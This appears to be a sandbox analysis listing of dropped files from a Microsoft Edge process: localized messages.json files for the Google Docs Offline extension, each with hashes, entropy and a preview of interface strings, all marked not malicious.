SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

